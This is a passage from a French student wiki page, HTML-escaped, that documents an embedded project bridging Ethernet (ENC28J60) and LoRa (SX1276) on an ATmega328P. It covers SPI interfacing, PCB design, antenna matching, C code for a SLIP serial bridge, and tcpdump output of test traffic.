 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
